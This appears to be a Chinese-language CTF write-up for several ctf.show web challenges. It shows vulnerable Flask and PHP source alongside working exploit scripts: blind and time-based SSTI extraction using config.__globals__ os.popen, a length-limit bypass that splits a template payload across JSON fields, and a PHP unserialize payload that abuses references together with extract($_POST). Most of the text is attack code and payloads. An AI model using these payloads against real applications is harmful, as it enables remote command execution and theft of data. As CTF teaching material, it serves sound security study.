#!/usr/bin/env python3
from flask import Flask, render_template_string, request
from flask_limiter import Limiter
from flask_limiter.util import get_remote_address
app = Flask(__name__)
limiter = Limiter(
app,
key_func=get_remote_address,
default_limits=["10000 per hour"]
)
@limiter.limit("5/second", override_defaults=True)
@app.route('/')
def index():
return ("\x3cpre\x3e\x3ccode\x3e%s\x3c/code\x3e\x3c/pre\x3e")%open(__file__).read()
//<pre><code>%s</code></pre>
@limiter.limit("5/second", override_defaults=True)
@app.route('/ssti')
def check():
flag = open("/app/flag.txt", 'r').read().strip()
if "input" in request.args:
query = request.args["input"]
render_template_string(query)
return "Thank you for your input."
return "No input found."
app.run('0.0.0.0', 80)
ssti盲注,过滤了的会报
500 Internal Server Error
之前用到的ssti盲注脚本
import requests
import string
abt = string.ascii_lowercase+string.digits+'-_{}'
//abcdefghijklmnopqrstuvwxyz0123456789-_{}
url = 'http://294fdcdb-60bd-4f69-8135-c22c1b7bc260.challenge.ctf.show/'
cmd = 'ls /'
ans = ''
for i in range(0,80):
for le in abt:
payload = '{%if []["\\x5f\\x5fclass\\x5f\\x5f"]["\\x5f\\x5fbase\\x5f\\x5f"]["\\x5f\\x5fsubclasses\\x5f\\x5f"]()[64]["\\x5f\\x5finit\\x5f\\x5f"]["\\x5f\\x5fglobals\\x5f\\x5f"]["\\x5f\\x5fbuiltins\\x5f\\x5f"]["\\x5f\\x5fimport\\x5f\\x5f"]("os")["\\x5f\\x5fdict\\x5f\\x5f"]["popen"]("'+cmd+'")["read"]()['+str(i)+']=="'+le+'"%}coleak{%endif%}'
data = {'key':payload}
r = requests.post(url,data)
if 'coleak' in r.text:
ans += le
print('ans = '+ans)
break
这里需要修改payload为
if [ `cut -c 1 /c.txt` = "c" ];then sleep 2;fi
cut命令可以从一个文本文件或者文本流中提取文本列。
-b :以字节为单位进行分割。这些字节位置将忽略多字节字符边界,除非也指定了 -n 标志。
-c :以字符为单位进行分割。
-d :自定义分隔符,默认为制表符。
-f :与-d一起使用,指定显示哪个区域。
-n :取消分割多字节字符。仅和 -b 标志一起使用。如果字符的最后一个字节落在由 -b 标志的 List 参数指示的
范围之内,该字符将被写出;否则,该字符将被排除
import string
import requests as req
import time
char_set = string.ascii_lowercase+string.digits+'-_{}'
sess = req.session()
flag = {}
for i in range(1, 46):
for c in char_set:
url = r"""http://1bfa811e-2bec-419c-a3e7-da1d60d1c9b5.challenge.ctf.show/ssti?input=
{{ config.__class__.__init__.__globals__['os'].popen('if [ `cut -c %d /app/flag.txt` = "%s" ];then sleep 1;fi').read() }}
""" % (i, c)
time.sleep(0.2)
resp = sess.get(url)
if resp.elapsed.seconds >= 1:
print(c, end='')
flag[i] = c
print(flag)
import string
import time
import requests
_url = 'http://1bfa811e-2bec-419c-a3e7-da1d60d1c9b5.challenge.ctf.show/ssti?input='
_payload_1 ="{%25 set flag=config.__class__.__init__.__globals__['os'].popen('cat /app/flag.txt').read()%25}{%25 set sleep=config.__class__.__init__.__globals__['os'].popen('sleep 1')%25}{%25if '"
_payload_2 = "' in flag%25}{{sleep.read()}}{%25endif%25}"
r = requests.session()
charset = string.ascii_lowercase+string.digits+'-_{}'
data = ''
content = 'ctfshow{'
for _ in range(50):
for i in charset:
time.sleep(0.2)
data = content + i
url = _url + _payload_1 + data + _payload_2
try:
r.get(url=url, timeout=(1, 1))
except Exception as e:
content = data
print(content)
break
print(data)
# ctfshow{64915f1e-57be-4434-8994-d0f555e677f8}
$you_never_know
是编码后的随机数,考点是&引用- 利用
extract($_POST);
覆盖变量
header("Content-Type: text/html;charset=utf-8");
error_reporting(0);
require_once("flag.php");
class whoami{
public $name;
public $your_answer;
public $useless;
public function __construct(){
$this->name='ctfshow第一深情';
$this->your_answer='Only you know';
$this->useless="I_love_u";
}
public function __wakeup(){
global $flag;
global $you_never_know;
$this->name=$you_never_know;
if($this->your_answer === $this->name){
echo $flag;
}
}
}
$secret = $_GET['s'];
if(isset($secret)){
if($secret==="给我看看!"){
extract($_POST);
if($secret==="给我看看!"){
die("");
}
unserialize($secret);
}
}else{
show_source(__FILE__);
}
指针取地址方式
$a="coleak";
$b=&$a;
$c=$a;
$a="cc";
echo $b.PHP_EOL;
echo $c;
?>
cc
coleak
php的引用(就是在变量或者函数、对象等前面加上&符号)
在PHP 中引用的意思是:不同的名字访问同一个变量内容。
被引用的两者之间没有任何区别,它们都使用了同一个变量容器。 将这两者分开的唯一方法是使用 unset() 函数销毁其中任何一个变量。
$a = 11;
$b =& $a;
unset ($a);
$a++;
echo $a.PHP_EOL;
echo $b;
?>
1
11
poc
class whoami{
public $name;
public $your_answer;
public $useless;
}
$a=new whoami();
$a->name=&$a->your_answer;
echo serialize($a).PHP_EOL;
//$this->your_answer === $this->name
?>
?s=给我看看!
secret=O:6:“whoami”:3:{s:4:“name”;N;s:11:“your_answer”;R:2;s:7:“useless”;N;}
这里本地搭建个ssti靶场
from flask import Flask, request, render_template_string
app = Flask(__name__)
@app.route('/ssti')
def check():
query = request.args["input"]
return render_template_string(query)
if __name__ == '__main__':
app.run()
在py3下执行命令的最短方式为
ssti?input={{config.__init__.__globals__.os.popen('ipconfig').read()}}
hint
据说输入框能连起来的
@app.route('/madlib', methods=['POST'])
def madlib():
if len(request.json) == 5:
verb = request.json.get('verb')
noun = request.json.get('noun')
adjective = request.json.get('adjective')
person = request.json.get('person')
place = request.json.get('place')
params = [verb, noun, adjective, person, place]
if any(len(i) > 21 for i in params):
return 'your words must not be longer than 21 characters!', 403
madlib = f'To find out what this is you must {verb} the internet then get to the {noun} system through the visual MAC hard drive and program the open-source but overriding the bus won\'t do anything so you need to parse the online SSD transmitter, then index the neural DHCP card {adjective}.{person} taught me this trick when we met in {place} allowing you to download the knowledge of what this is directly to your brain.'
return render_template_string(madlib)
return 'This madlib only takes five words', 403
{adjective}.{person}这里连着的,一起的长度可以达到42,其余位置的长度最多为21
脚本如下
脚本1
import requests
import re
url = 'http://05fcf52c-632f-487e-8bff-f9bb5615b387.challenge.ctf.show/madlib'
payload ={"verb": ["{{config.__class__.__init__.__globals__['os'].popen('cat flag.txt').read()}}"], "noun": "a","adjective": "a", "person": "a", "place": "a"}
r = requests.post(url, json=payload)
flag=r.text
# flag = re.findall('ctfshow{.*}', r.text)[0]
print(flag)
利用[]绕过长度限制,如下
a=["{{config.__class__.__init__.__globals__['os'].popen('cat flag.txt').read()}}"]
noun='a'
adjective='a'
person='a'
place='a'
params = [a, noun, adjective, person, place]
# if any(len(i) > 21 for i in params):
# print(1)
for i in params:
print(len(i))
#1 1 1 1 1
脚本2
import requests
import re
url="http://6c9c5244-868c-4959-9ac0-f5081dcaabba.challenge.ctf.show/madlib"
payload = {
"verb":"{%set x=config%}",
"noun":"{%set x=x.__init__%}",
"adjective":"{%set x=x.__globals__",
"person":"os.popen('cat fl*')%}",
"place":"{{x.read()}}"
}
r = requests.post(url,json=payload)
print(r.text)
flag = re.findall(r'ctfshow{.*}',r.text)[0]
print(flag)
#{{config.__init__.__globals__.os.popen('ipconfig').read()}}